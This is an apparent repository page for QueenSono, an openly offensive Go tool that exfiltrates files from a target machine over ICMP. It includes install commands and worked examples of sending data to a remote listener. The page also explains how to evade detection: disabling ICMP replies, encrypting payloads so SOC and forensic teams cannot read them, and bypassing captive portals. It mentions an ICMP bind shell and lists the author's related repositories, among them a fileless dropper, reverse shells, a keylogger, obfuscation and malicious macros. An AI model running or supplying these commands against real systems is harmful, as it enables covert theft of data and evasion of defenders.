• Stars
    star
    143
  • Rank 257,007 (Top 6 %)
  • Language
    Go
  • License
    MIT License
  • Created over 3 years ago
  • Updated almost 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Golang binary for data exfiltration with ICMP protocol (+ ICMP bindshell, http over ICMP tunneling, ...)

QueenSono ICMP Data Exfiltration



A Golang Package for Data Exfiltration with ICMP protocol.

QueenSono tool only relies on the fact that ICMP protocol isn't monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher) or to bypass authentication step with captive portal (used by many public Wi-Fi to authenticate users after connecting to the Wi-Fi e.g Airport Wi-Fi). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful)

Install it ยท Use it ยท Notes ยท Request Feature ยท ๐ŸŽ

Install

With curl

> From release

curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

With go

> Via go install

Make sure $GOPATH is in your $PATH before

Install qssender

go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary

Install qsreceiver

go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary

> Install the binary from source

Clone the repo and download the dependencies locally:

git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

To build the ICMP packet sender qssender :

 build.queensono-sender

To build the ICMP packet receiver qsreceiver :

 build.queensono-receiver

Usage

qssender is the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine.

qsreceiver is the listener on your local machine (or wherever you could receive icmp packet)

All commands and flags of the binaries could be found using --help

Example 1: Send with "ACK" ๐Ÿ”™

> In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK).

demo

On local machine:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Explanation
  • -l 0.0.0.0listen on all interfaces for ICMP packet
  • -f received_bible.txt save received data in a file
  • -p show a progress bar of received data
  • On target machine:

    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    Explanation
  • send file for sending file (bible.txt is the file in question)
  • -d 2 send a packet each 2 seconds
  • -l 0.0.0.0 the listening address for echo reply
  • -r 10.0.0.92 the address of my remote machine with qsreceiver listening
  • -s 50000 the data size I want to send in each packet
  • Example 2: Send without "ACK" ๐Ÿ™ˆ

    > In this example we want to send a message without waiting for echo reply (it could be useful in case the target firewall filters incoming icmp packet)

    demo

    On local machine:

    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    Explanation
  • receive truncated 1 does not wait indefinitely if we don't received all the packets. (1 is the delay used with qssender)

  • for stealthiness you could prevent the kernel to reply to any ICMP pings
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    On target machine:

    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    Explanation
  • -N noreply option (don't wait for echo reply)
  • Example 3: Send encrypted data ๐Ÿ”’

    > In this example we want to send an encrypted message. As the command line could be spied on we use asymmetric encryption (if the key leaks, it isn't an issue so)

    demo

    On local machine:

    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <OUTPUT PUBLIC KEY>
    
    Explanation
  • --encrypt use encryption exchange. It will generate public/private key. The public one will be used by qssender to encrypt data, the private one is used to decrypt it with receiver
  • On target machine:

    $ export MSG="<your message>"
    $ export KEY="<public_key_from_qsreceiver_output>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    Explanation
  • --key provide key for data encryption. Use the one provided by the qsreceiver command
  • About encryption

    RSA encrytion is used to keep data exchanged confidential. It could be useful for example to avoid a SoC to see what data is exchanged (or forensic) w/ basic analysis or simply for privacy.

    But it comes with a cost. The choice of asymetric encryption is motivated by the fact that the encryption key is entered on the command line (so it could be retieved easily). Hence, we encrypt data with public key. Like this if someone retrieve the encryption key it will not be possible to decrypt the message. But the public key is smaller than the private one, so it encrypt smaller messages. Also, it is computationally expensive.

    Another point, as we want to limit data size/ping requests (to avoid detection, bug, etc), use encryption only if needed as the message output-size will (should) always equal the size of the Modulus (part of the key) which is big.

    Enhancement

    Currently, the whole message is encrypted and then chunked to be sent. On the other side we wait for all the packet (chunks), reconstruct our message and then decrypt it. But it works โ‡” we have received ALL the chunks, otherwise the decryption will fail.

    => We could encrypt each chunk accordingly with the -s parameter, like this we could decrypt them separately.

    Bonus

    See hack section for fun things with QueenSono:

    • Bind shell using ICMP
    • HTTP over ICMP tunneling

    Notes

    • only work on Linux (due to the use of golang net icmp package)
    • need cap_net_raw capabilities
    • if you actually send ICMP packets on 2 different machines and you wait for echo reply, be sure to use a reachable IP by remote as a listening address (do not use localhost or equivalent)

    More Repositories

    1

    fileless-xec

    Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support, invisible tracks, cross-platform,...)
    Go
    184
    star
    2

    notionterm

    ๐Ÿ–ฅ๏ธ๐Ÿ“– Embed reverse shell in Notion pages
    Go
    122
    star
    3

    volana

    ๐ŸŒ’ Shell command obfuscation to avoid detection systems
    Go
    120
    star
    4

    cfuzz

    Command line fuzzer and bruteforcer ๐ŸŒช wfuzz for command
    Go
    85
    star
    5

    TrojanSourceFinder

    ๐Ÿ”Ž Help find Trojan Source vulnerability in code ๐Ÿ‘€ . Useful for code review in project with multiple collaborators (CI/CD)
    Go
    45
    star
    6

    HTTPCustomHouse

    HTTP request smuggling attack helper/CLI tools to manipulate HTTP packets
    Go
    33
    star
    7

    tacos

    ๐ŸŒฎ INTERACTIVE reverse shell everywhere! (Particularly digestible with socat multi-handler listener)
    Shell
    29
    star
    8

    Notionion

    Notion as an HTTP proxy
    Go
    27
    star
    9

    DomXssFinder

    Find sources and sinks in js code that could lead to DOM XSS ๐Ÿ”Ž๐Ÿ’ง๐Ÿšฐ
    Shell
    21
    star
    10

    gitar

    ๐Ÿ“ก Ease file sharing during pentest/CTF ๐ŸŽธ
    Go
    12
    star
    11

    Readme-Like-Button

    Style your README with a "like button" ๐Ÿ‘
    10
    star
    12

    SMTrackerP

    ๐ŸŽฃ Simple Mail Tracker Protocol ๐Ÿ“ฌ bring back into fashion the acknowledgement of receipt
    Go
    8
    star
    13

    JSextractor

    Fastly gather all JavaScript from url (CLi+TUI)
    Go
    8
    star
    14

    Hack-weak-strcmp-code

    A description of a basic hack over a C files using strcmp function
    C
    7
    star
    15

    sexonthebash

    Unprivileged and stealth shell input and output listeners. Differerent approach for keylogging with Shell/bash.
    Go
    6
    star
    16

    bang

    My pentest machine environment set up, tools, aliases and shortcuts
    Shell
    5
    star
    17

    cssrf

    Ease CSS exfiltration
    Go
    5
    star
    18

    httpecho

    Golang HTTP echo server (real raw request echoed)
    Go
    4
    star
    19

    magnet

    ๐Ÿงฒ Hide data exfiltration in harmless looking executable
    Go
    4
    star
    20

    wslight

    Unix command translator on Windows cmd
    Go
    4
    star
    21

    console.sh

    Share terminal in your browser console
    JavaScript
    4
    star
    22

    AravisFS

    Encrypted filesystem ๐Ÿ” And a CLI to remotely and securely interact with (if you want to store encrypted private data on โ˜๏ธ)
    Go
    3
    star
    23

    .pwnvscode

    Obtain RCE by poisoning .vscode folder
    Shell
    3
    star
    24

    shuid

    Nim project for Persistence & Privesc using S(hadow)UIDs files ๐Ÿ‘ค
    Nim
    3
    star
    25

    PoC-Website-Masquerading

    PoC on how to impersonnate/masquerade a website locally ๐ŸŽญ
    Shell
    3
    star
    26

    friendly-windows-malware

    ๐Ÿ’ป๐ŸŽจ Simple executables to prove remote code execution in a nice and harmless way in your demos
    Go
    2
    star
    27

    sheesh

    A ยซย better than an aliasย ยป generator (flag & completion) ๐Ÿช‚
    Go
    2
    star
    28

    kube-podpreemption-DoS

    ๐ŸŒช๏ธ Evict pods and block pod deployment (DoS) on kubernetes
    Python
    2
    star
    29

    quicli

    ๐Ÿช† Go library to quickly build CLI using a simple one-liner
    Go
    2
    star
    30

    kraken_capital_gain

    Get the capital gain of yourtrade history considering different parameter (timeframe, currency, etc)
    Python
    1
    star
    31

    TheWordIsYours

    Malicious Macro for the dummies ๐ŸŒ Choose a payload, inject it, sprinkle with stealthiness, wait with a cup of tea ๐Ÿซ–
    VBA
    1
    star